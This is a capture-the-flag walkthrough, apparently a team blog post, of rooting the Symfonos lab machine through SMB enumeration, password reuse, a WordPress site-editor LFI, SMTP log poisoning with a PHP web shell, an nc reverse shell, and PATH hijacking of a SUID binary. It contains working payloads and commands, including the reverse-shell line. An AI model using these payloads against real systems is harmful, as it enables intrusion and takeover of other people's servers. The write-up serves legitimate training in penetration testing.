SYMFONOS OPERATION: FROM SMB TO PATH HIJACKING - Portelcore Team
Objective: Total compromise (Root) of the target Symfonos machine. Final vector: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Status...
Objective: Full compromise (Root) of the Symfonos target machine.
Final Vector: Path Hijacking (Privilege Escalation).
Target IP: 172.20.0.142
Status: 🚩 ROOT OBTAINED & FLAG CAPTURED
PHASE 1: INITIAL ACCESS (ENUMERATION & EXPLOITATION)
Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»Before considering Path Hijacking, we needed to obtain an initial shell. We began with an exhaustive network reconnaissance phase to identify the attack surface.
1.0 Initial Reconnaissance (Port Scanning)
Sección titulada «1.0 Reconocimiento Inicial (Escaneo de Puertos)»We executed a custom automation script (auto_scan_ip_nmap_Supreme.sh) to perform a deep scan of the target 172.20.0.142.
Command Executed:
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scanUnderlying Nmap command: The script has launched the following Nmap command to obtain maximum detail:
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142SCAN RESULTS (Ports and Services):
We have identified the following critical exposed services:
| Port | Status | Service | Version / Details |
|---|---|---|---|
| 22/tcp | Open | ssh | OpenSSH (Debian) |
| 25/tcp | Open | smtp | Postfix smtpd (Debian/GNU) |
| 80/tcp | Open | http | Apache httpd 2.4.25 ((Debian)) |
| 139/tcp | Open | netbios-ssn | Samba smbd 3.X - 4.X (Workgroup: WORKGROUP) |
| 445/tcp | Open | netbios-ssn | Samba smbd 4.5.16-Debian (Workgroup: WORKGROUP) |
Initial Tactical Analysis:
- SMB (139/445): Samba 4.5.16 is an outdated version. This will be our main entry point.
- HTTP (80): Apache Server. If SMB entry fails, we will look for web directories or application vulnerabilities.
- SMTP (25): Postfix. It could be useful for user enumeration or Log Poisoning techniques.
1.0.1 Advanced SMB Reconnaissance (Nmap Scripts)
Sección titulada «1.0.1 Reconocimiento Avanzado de SMB (Nmap Scripts)»Nmap scripts (smb-enum-*) have provided crucial intelligence on the Samba service configuration:
Key Results:
- Users: The existence of user
heliosin domainSYMFONOShas been confirmed. - Resources (Shares):
anonymous: Read/Write access (READ/WRITE) for guests (guest).helios: Personal resource of userhelios.IPC$: IPC service.
- Exposed Content: The resource
anonymouscontains a file namedattention.txt. - Security: Message signing (Message Signing) is disabled (
disabled), which could allow relay attacks, although it is not necessary in this case.
Raw Evidence (Nmap):
| smb-enum-domains:| SYMFONOS| Users: helios...| smb-ls: Volume \\172.20.0.142\anonymous| SIZE TIME FILENAME| <DIR> 2019-06-29T01:14:49 .| <DIR> 2019-06-29T01:12:15 ..| 154 2019-06-29T01:14:49 attention.txt...| smb-enum-shares:| \\172.20.0.142\anonymous:| Type: STYPE_DISKTREE| Path: C:\usr\share\samba\anonymous| Anonymous access: READ/WRITE...| smb-os-discovery:| OS: Windows 6.1 (Samba 4.5.16-Debian)| Computer name: symfonos| NetBIOS computer name: SYMFONOS\x001.1 SMB Enumeration (The Weakest Link)
Sección titulada «1.1 Enumeración de SMB (El Eslabón Débil)»With a clear focus on the SMB protocol, which often allows anonymous or null access if not properly configured, we will proceed to list the available shared resources.
Tactical Order:
# Listar recursos (-L) sin contraseña (-N)smbclient -L //172.20.0.142 -NCOLLECTED EVIDENCE:
Sharename Type Comment--------- ---- -------print$ Disk Printer Drivershelios Disk Helios personal shareanonymous DiskIPC$ IPC IPC Service (Samba 4.5.16-Debian)Intelligence Analysis:
anonymous: Accessible resource. Our priority entry point.helios: It reveals a valid system username (helios). This will be our target for brute force attacks or password reuse later.
1.2 Information Analysis
Sección titulada «1.2 Análisis de Información»We will connect to the anonymous resource to inspect its content and exfiltrate any relevant data.
Exfiltration Order:
smbclient //172.20.0.142/anonymous -Nsmb: \> get attention.txtsmb: \> exitEXFILTRATION EVIDENCE:
smb: \> get attention.txtgetting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)smb: \> exitContent Analysis (cat attention.txt):
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!Next person I find using one of these passwords will be fired!
-ZeusNEW INTELLIGENCE OBTAINED:
- New User Identified:
zeus(Probable administrator or privileged user). - Filtered Password List (Dictionary):
epidiokoqwertybaseball
1.3 Credential Spraying & Confirmed Access
Sección titulada «1.3 Credential Spraying & Acceso Confirmado»We will test the extracted credentials against the user helios on the SMB service.
Failed Attempt (Password: helios):
smbclient //172.20.0.142/helios -U heliosPassword for [WORKGROUP\helios]:session setup failed: NT_STATUS_LOGON_FAILURESuccessful Attempt (Password: qwerty):
smbclient //172.20.0.142/helios -U helios# Password: qwertyEVIDENCE OF SUCCESS:
smb: \> ls . D 0 Sat Jun 29 02:32:05 2019 .. D 0 Sat Jun 29 02:37:04 2019 research.txt A 432 Sat Jun 29 02:32:05 2019 todo.txt A 52 Sat Jun 29 02:32:05 2019Situation Analysis:
- Access Secured: The password
qwertyis valid forhelioson SMB. - New Targets:
research.txtandtodo.txt. These files often contain hidden web server paths (“Security through obscurity”).
1.4 Web Exfiltration and Reconnaissance
Sección titulada «1.4 Exfiltración y Reconocimiento Web»Step 1: Downloading Intelligence
Sección titulada «Paso 1: Descargaremos la Inteligencia»From the SMB session of helios, we will exfiltrate the found files.
smb: \> get research.txtgetting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)smb: \> get todo.txtgetting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)Step 2: File Analysis (The Golden Clue)
Sección titulada «Paso 2: Análisis de Archivos (La Pista Dorada)»cat research.txt:
Helios (also Helius) was the Sun god in Greek mythology… (Generic information, irrelevant).
cat todo.txt:
1. Binge watch Dexter2. Dance3. Work on /h3l105Critical Finding:
Sección titulada «Hallazgo Crítico:»Point 3 reveals a hidden directory path to the web server: /h3l105.
Step 3: WordPress Enumeration (WPScan)
Sección titulada «Paso 3: Enumeración de WordPress (WPScan)»We will execute wpscan to identify attack vectors for the discovered WordPress site:
Command Executed:
wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate pResults:
Sección titulada «Resultados:»- WordPress Version: 5.2.2.
- Plugins: Not detected by passive methods.
- Corrective Action: Manual search for common Symfonos plugins (
site-editor,mail-manning).
1.5 LFI (Local File Inclusion) Exploitation
Sección titulada «1.5 Explotación LFI (Local File Inclusion)»We will confirm that the site-editor plugin is installed and is vulnerable to LFI.
Exploitation URL (Payload): http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Output Evidence:
root:x:0:0:root:/root:/bin/bash...helios:x:1000:1000:,,,:/home/helios:/bin/bash{"success":true,"data":{"output":[]}}Status: LFI vulnerability confirmed. Arbitrary file read active.
1.6 SMTP Log Poisoning to RCE (The Assault)
Sección titulada «1.6 SMTP Log Poisoning a RCE (El Asalto)»1. Poisoning - ALREADY COMPLETED:
We will inject <?php system($_GET['cmd']); ?> into /var/mail/helios via Telnet.
2. Command Execution (Trigger):
We will call the poisoned log using the LFI vulnerability of the site-editor plugin.
Detonation URL: .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id
RCE Evidence:
The server will return the email content, including the result of the execution of the command id at the end:
From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026Return-Path: <attacker@symfonos.localdomain>...Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...{"success":true,"data":{"output":[]}}Status: RCE CONFIRMED. We have code execution as user helios.
3. Reverse Shell (Final Access): From the browser, we will launch the reverse shell to our Kali machine:
&cmd=nc -e /bin/bash 172.20.0.165 4444
Obtained Shell Evidence:
$ nc -lvnp 4444listening on [any] 4444 ...connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086PHASE 2: PRIVILEGE ESCALATION (PATH HIJACKING)
Sección titulada «FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)»Once the shell is obtained as user helios, we will proceed to enumerate the system searching for vulnerable SUID binaries.
2.1 Target Identification (SUID Hunting)
Sección titulada «2.1 Identificación del Objetivo (Caza SUID)»We will look for binaries with the SUID bit enabled that seem "strange" or custom.
Command Executed:
find / -perm -4000 -type f 2>/dev/nullCollected Evidence:
/usr/lib/eject/dmcrypt-get-device/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/openssh/ssh-keysign/usr/bin/passwd/usr/bin/gpasswd/usr/bin/newgrp/usr/bin/chsh/usr/bin/chfn/opt/statuscheck <-- ¡SOSPECHOSO!/bin/mount/bin/umount/bin/su/bin/pingTactical Analysis:
The binary /opt/statuscheck is not a standard Linux binary. Its location in /opt and its name suggest it is a script or program customized by the administrator. It is our primary target.
2.2 Vulnerability Confirmation
Sección titulada «2.2 Confirmación de Vulnerabilidad»We will investigate what the suspicious binary does.
Command: strings /opt/statuscheck
Collected Evidence:
...curl -I Hhttp://lHocalhostH...Definitive Diagnosis:
The binary invokes the command curl without specifying its absolute path (i.e., it uses curl instead of /usr/bin/curl). This confirms that it is vulnerable to Path Hijacking.
2.3 Exploit Execution (Step by Step)
Sección titulada «2.3 Ejecución del Exploit (Paso a Paso)»Assuming that the binary executes curl without an absolute path, we will proceed with the attack:
1. Prepare the Payload:
We will create a malicious script named curl that invokes a shell.
cd /tmpecho "/bin/sh" > curlchmod +x curl2. Hijack the PATH:
We will modify the environment variable so that the system searches first in /tmp.
export PATH=/tmp:$PATH3. Detonate:
We will execute the SUID binary. By calling curl, the system will execute our script with root permissions (inherited from the SUID).
/opt/statuscheckFinal Evidence (ROOT):
whoamiroot2.4 LOOT (The Definitive Proof)
Sección titulada «2.4 LOOT (La Prueba Definitiva)»Command: cat /root/proof.txt
((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ / ((\~\ | ) | ' / __--~~ \-~~ _-~ `\(\ __--( _/ |'\ / --~~ __--~' _-~ ~| ( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~ ~~\~~~~~~ `\-~ \~\ / __--~~~'~~/ ;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._ ;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\ ;;;;;;;' / ----~~/ `\,~ `\ \ ;;;;' ( ---~~/ `:::| `\\. |' _ `----~~~~' / `:| ())))), ______/\/~ | / / (((((()) /~;;.____/;;' / ___.---( `;;;/ )))'`)) / // _;______;'------~~~~~ |;;/\ / (( ( // \ \ / | \;;,\ ` (<_ \ \ /',/-----' _> \_| \\_ //~;~~~~~~~~~ \_| (,~~ \~\ ~~
Contact me via Twitter @zayotic to give feedback!END OF REPORT

